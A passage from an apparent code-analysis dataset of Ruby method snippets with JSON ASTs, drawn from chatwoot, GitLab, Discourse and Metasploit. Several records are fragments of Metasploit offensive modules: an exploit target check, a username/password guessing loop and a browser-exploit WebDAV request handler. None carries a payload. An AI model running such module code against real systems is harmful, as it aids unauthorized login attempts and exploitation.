:\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"rinst\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"d7b03451-d6ca-4626-8f4f-8a1f54010f0b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/messages/mention_service.rb","start_line":47,"raw_source":"def filter_mentioned_ids_by_inbox\n    mentioned_ids & valid_mentionable_user_ids.map(&:to_s)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_mentioned_ids_by_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mentioned_ids\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_mentionable_user_ids\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"dd22d61e-8a36-4711-8331-a295ff3cb85f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication_flow.rb","start_line":14,"raw_source":"def initialize(session:, provider:, scope:)\n          validate_scope!(scope)\n          @session = session\n          @provider = provider\n          @scope = scope\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"session\"]},{\"type\":\"kwarg\",\"children\":[\"provider\"]},{\"type\":\"kwarg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_scope!\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@session\",{\"type\":\"lvar\",\"children\":[\"session\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@provider\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"783afb52-4281-4ddf-9461-cc72750bd036"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/rabidhamster_r4_log.rb","start_line":61,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => '/'\n    })\n\n    if res and res.headers['Server'] == 'R4 Embedded Server'\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCoded::Safe\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"R4 Embedded Server\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCoded\"]},\"Safe\"]}]}]}]}]}","id":"2115efd4-a742-4a79-a09d-05224dc2462e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":658,"raw_source":"def calc_padding(offset)\n    align = required_alignment\n\n    # If offset is not aligned...\n    if (offset % align) != 0\n      # Calculate padding needed to be aligned\n      align - (offset & (align - 1))\n    else\n      0\n    end\n  end","complexity_score":9.53,"ast_json":"{\"type\":\"def\",\"children\":[\"calc_padding\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"align\",{\"type\":\"send\",\"children\":[null,\"required_alignment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"align\"]}]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"align\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"align\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"e8456706-6c9c-47ca-98e9-f1366f883c05"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/openvas/openvas_omp_login.rb","start_line":27,"raw_source":"def run_host(ip)\n    begin\n      print_status(\"#{msg} Connecting and checking username and passwords\")\n      each_user_pass do |user, pass|\n        do_login(user, pass)\n      end\n    rescue ::Rex::ConnectionError\n    rescue ::Exception => e\n      vprint_error(\"#{msg} #{e.to_s} #{e.backtrace}\")\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"msg\"]}]},{\"type\":\"str\",\"children\":[\" Connecting and checking username and passwords\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"msg\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]}]},null]}]}]}","id":"e9d957e0-4a2a-40ad-9782-66d799e0dbba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/packet.rb","start_line":188,"raw_source":"def output_packet(ignore_chunk = false, headers_only: false)\n    content = self.body.to_s.dup\n\n    # Update the content length field in the header with the body length.\n    if (content)\n      if !self.compress.nil?\n        case self.compress\n          when 'gzip'\n            self.headers['Content-Encoding'] = 'gzip'\n            content = Rex::Text.gzip(content)\n          when 'deflate'\n            self.headers['Content-Encoding'] = 'deflate'\n            content = Rex::Text.zlib_deflate(content)\n          when 'none'\n          # this one is fine...\n          # when 'compress'\n          else\n            raise RuntimeError, 'Invalid Content-Encoding'\n        end\n      end\n\n      unless ignore_chunk\n        if self.auto_cl && self.transfer_chunked\n          raise RuntimeError, \"'Content-Length' and 'Transfer-Encoding: chunked' are incompatible\"\n        end\n\n        if self.auto_cl\n          self.headers['Content-Length'] = content.length\n        elsif self.transfer_chunked\n          if self.proto != '1.1'\n            raise RuntimeError, 'Chunked encoding is only available via 1.1'\n          end\n          self.headers['Transfer-Encoding'] = 'chunked'\n          content = self.chunk(content, self.chunk_min_size, self.chunk_max_size)\n        end\n      end\n    end\n\n    str  = self.headers.to_s(cmd_string)\n    str += content || '' unless headers_only\n\n    str\n  end","complexity_score":77.6,"ast_json":"{\"type\":\"def\",\"children\":[\"output_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ignore_chunk\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"headers_only\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"body\"]},\"to_s\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compress\"]},\"nil?\"]},\"!\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compress\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"gzip\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Encoding\"]},{\"type\":\"str\",\"children\":[\"gzip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"gzip\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"deflate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Encoding\"]},{\"type\":\"str\",\"children\":[\"deflate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"zlib_deflate\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Invalid Content-Encoding\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_chunk\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"auto_cl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transfer_chunked\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"'Content-Length' and 'Transfer-Encoding: chunked' are incompatible\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"auto_cl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"length\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transfer_chunked\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"proto\"]},\"!=\",{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Chunked encoding is only available via 1.1\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Transfer-Encoding\"]},{\"type\":\"str\",\"children\":[\"chunked\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chunk\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chunk_min_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"chunk_max_size\"]}]}]}]},null]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"to_s\",{\"type\":\"send\",\"children\":[null,\"cmd_string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers_only\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\"]},\"+\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}","id":"80078a32-ee96-4e1e-9402-16a927615bc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/graphql/work_item_list_shared_examples.rb","start_line":103,"raw_source":"def work_item_data\n    graphql_data.dig(*work_item_node_path)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_item_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_node_path\"]}]}]}]}","id":"1583f08d-fc4c-4b80-a2be-1dd5f6c4a2af"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/profinet_siemens.rb","start_line":45,"raw_source":"def hex_to_address(s)\n    hexint_to_str(s[0..1]) + '.' + hexint_to_str(s[2..3]) + '.' + hexint_to_str(s[4..5]) + '.' + hexint_to_str(s[6..7])\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"hex_to_address\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hexint_to_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"hexint_to_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"hexint_to_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"hexint_to_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}]}","id":"d97335d9-8ecc-4a52-91c5-7fe455ba7215"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/scheduled/category_localization_backfill.rb","start_line":31,"raw_source":"def find_llm_model_for_persona(persona_id)\n      return nil if persona_id.blank?\n\n      persona_klass = AiPersona.find_by_id_from_cache(persona_id)\n      return nil if persona_klass.blank?\n\n      DiscourseAi::Translation::BaseTranslator.preferred_llm_model(persona_klass)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_llm_model_for_persona\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"persona_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"find_by_id_from_cache\",{\"type\":\"lvar\",\"children\":[\"persona_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_klass\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Translation\"]},\"BaseTranslator\"]},\"preferred_llm_model\",{\"type\":\"lvar\",\"children\":[\"persona_klass\"]}]}]}]}","id":"7c9715bb-8a55-4b9a-8d6d-e70159d324ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/login.rb","start_line":200,"raw_source":"def set_up_new_password(user:)\n          Profile::Password.perform do |new_password_page|\n            password = user.password\n            new_password_page.set_new_password(password, password)\n          end\n\n          Support::Waiter.wait_until(message: \"on_login_page? failed\") do\n            Page::Main::Login.perform(&:on_login_page?)\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_up_new_password\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Profile\"]},\"Password\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_password_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_password_page\"]},\"set_new_password\",{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"on_login_page? failed\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Login\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_login_page?\"]}]}]}]}]}]}","id":"fb371c08-54c5-4bb4-a763-fe490ea52606"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/java_ws_vmargs.rb","start_line":96,"raw_source":"def on_request_uri(cli, request)\n    # For this exploit, this does little besides ensures the user agent is a recognized one..\n    mytarget = target\n    if target.name == 'Automatic'\n      mytarget = auto_target(cli, request)\n      if (not mytarget)\n        send_not_found(cli)\n        return\n      end\n    end\n\n    # Special case to process OPTIONS for /\n    if (request.method == 'OPTIONS' and request.uri == '/')\n      process_options(cli, request, mytarget)\n      return\n    end\n\n    # Discard requests for ico files\n    if (request.uri =~ /\\.ico$/i)\n      send_not_found(cli)\n      return\n    end\n\n    # If there is no subdirectory in the request, we need to redirect.\n    if (request.uri == '/') or not (request.uri =~ /\\/([^\\/]+)\\//)\n      if (request.uri == '/')\n        subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'\n      else\n        subdir = request.uri + '/'\n      end\n      print_status(\"Request for \\\"#{request.uri}\\\" does not contain a sub-directory, redirecting to #{subdir} ...\")\n      send_redirect(cli, subdir)\n      return\n    else\n      share_name = $1\n    end\n\n    # dispatch WebDAV requests based on method first\n    case request.method\n    when 'OPTIONS'\n      process_options(cli, request, mytarget)\n\n    when 'PROPFIND'\n      process_propfind(cli, request, mytarget)\n\n    when 'GET'\n      process_get(cli, request, mytarget, share_name)\n\n    when 'PUT'\n      print_status(\"Sending 404 for PUT #{request.uri} ...\")\n      send_not_found(cli)\n\n    else\n      print_error(\"Unexpected request method encountered: #{request.method}\")\n\n    end\n  end","complexity_score":70.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"auto_target\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},\"==\",{\"type\":\"str\",\"children\":[\"OPTIONS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.ico$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/([^/]+)/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subdir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subdir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request for \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\" does not contain a sub-directory, redirecting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdir\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_redirect\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"subdir\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"share_name\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND\"]},{\"type\":\"send\",\"children\":[null,\"process_propfind\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"send\",\"children\":[null,\"process_get\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]},{\"type\":\"lvar\",\"children\":[\"share_name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending 404 for PUT 